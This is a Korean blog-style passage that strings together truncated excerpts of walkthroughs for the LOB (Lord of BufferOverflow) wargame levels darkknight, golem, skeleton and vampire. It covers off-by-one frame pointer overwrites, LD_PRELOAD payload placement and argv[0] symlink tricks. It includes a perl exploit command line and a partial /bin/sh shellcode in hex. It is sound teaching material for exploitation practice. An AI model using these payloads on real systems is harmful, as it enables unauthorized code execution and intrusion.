Plummmm♪

이번에는 이름이 다크나이트..후덜덜 소스파일을 열어보자. strncpy?? 가 나온다. 정확한 분석을 위해 함수 레퍼런스를 함 보자. char * strncpy ( char * destination, const char * source, size_t num ); ​문자열에서 문자열 일부만 복사하는 함수이다. 버퍼가 40인데 복사하는 사이즈가 41이다; 거기다가 함수도 두개. 이건 그냥 프레임 포인터 오버라이팅 하라고 대놓고 .. 자 그럼 공격을 해보자. [golem@localhost golem]$ ./darkknight `perl -e 'print "\xd9\xfa\xff\xbf","\x90"x24,"\x68\xf9\xbf\x0f\x40\xb8\xe0\x8a\x05\x40\xff\xd0","\xc2"'`..

golem.c 를 열어봅시다. 눈씻고 봐도 페이로드를 올릴 곳이 보이지 않는다.. 맨 아래 스택 파괴자 부분 때문에 golem이 LOB 문제 중에서도 악명 높다고 한다.. 그냥 우리가 하던 방식으로는 불가능 한듯 하다. 이건 솔직히 잘 몰라서 검색을 한번 해보고 했다. 근데 검색해도 답이 없다. 공유 라이브러리를 이용?? 그래서 공유라이브러리 부터 공부 다시함 ㅡㅡ; 결론적으로. 공유 라이브러리를 임의로 제작하여 그 이름으로 페이로드를 올리고 그걸 LD_PRELOAD 라는 환경변수에 정확한 경로를 지정해주면 프로그램이 등록한 공유 라이브러리 부터 링크 시키게 된다. 공유 라이브러리 영역에 제작한 라이브러리가 쌓이므로 그 곳에 페이로드가 올라간 셈이다. 이 원리를 이용해서 공격한다. 공유 라이브러리 영역은..

소스부터 봅시다. skeleton.c ㅠㅠ.. 저번보다 조건이 많아졌다. 에그쉘 금지, 페이로드는 스택에 할당, RET이후로 페이로드 쓰기 불가(RTL불가) 버퍼 초기화, argc를 저장하여 인자 갯수만큼 for문 돌려 argv를 싹다 비워버림. 하.. 노답이다. 차근차근 생각해보자. 도저히 그냥 봤을 땐 공격을 할만한 타겟이 없다. argv[0] 이든 [1] 이든 envp든, 죄다 0으로 만들어버리기 때문에.. 혹시나 스택에 내가 모르는 영역이(?) 있을 수도 있나 하는 생각에 한번 검색해봤다. 뜬금포로 파일 이름이 있는데?? 뭐지.. 그래서 스택 레이아웃을 검색해봄. 커널영역 들어가기전에 NULL이 있고, 그 전에 바로 프로그램 이름이 위치하는 것을 알 수 있었음. 저곳을 심볼릭 링크 걸어 훅 찌르면..

vampire 열어보자. 잡다구리한 옵션들이 어느정도 제거되고 새로운 조건이 생겼다. 일단 스택영역에만 코드를 올릴 수 있는건 여전하고 0x○○ff○○○○ 이 주소를 사용할 수 없게 되었다. 보통 스텍영역이 0xc0000000 전 까지 할당되어 사용된다. 0xbfffffff 부터. 근데 0x○○ff○○○○ 주소를 못쓴다니.. 그럼 지금 현재 스택 주소보다 아래에 할당해야 된다 이말. (높게는 못하지.. 커널영역이니) 어떻게 해야 하나. 일단 캡쳐화면을 하나 보자 인자에 A갯수를 변화시켜가며 스택의 주소를 관찰하였다. 갯수가 늘어날수록 주소가 낮아지는게 보임?? 이게 왜이렇냐면.. envp(환경변수)는 고정이라서 argv 인자 자리에 많은 값을 때려넣으면 그만큼 스택이 아래로 밀리는 거지. 위로 계속해서 ..

드디어 argv[2]에 넣는 방법이 막혔다. memset함수를 이용하여 argv[1]값을 초기화 하는 알고리즘도 추가되었다. 아예 이제 함수 인자에 페이로드를 넣는 것이 원천봉쇄 되었다... argv[2] 사용불가, 에그쉘 사용불가, 버퍼에 올리는 것도 불가, 페이로드는 스택영역에만 인자가 RET 주소 위로 침범 불가 요정도 조건이 있다. argv[1]에도 넣을 수가 없으니.. argv[0]에다가 올리는 방법을 한번 생각해보자.ㅎ argv[0]은 파일명을 나타내는 것이니. 파일명에다가 심볼릭 링크를 페이로드로 걸어 주면 되지 싶다..라고 생각했는데 \x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x89\xc2\xb0..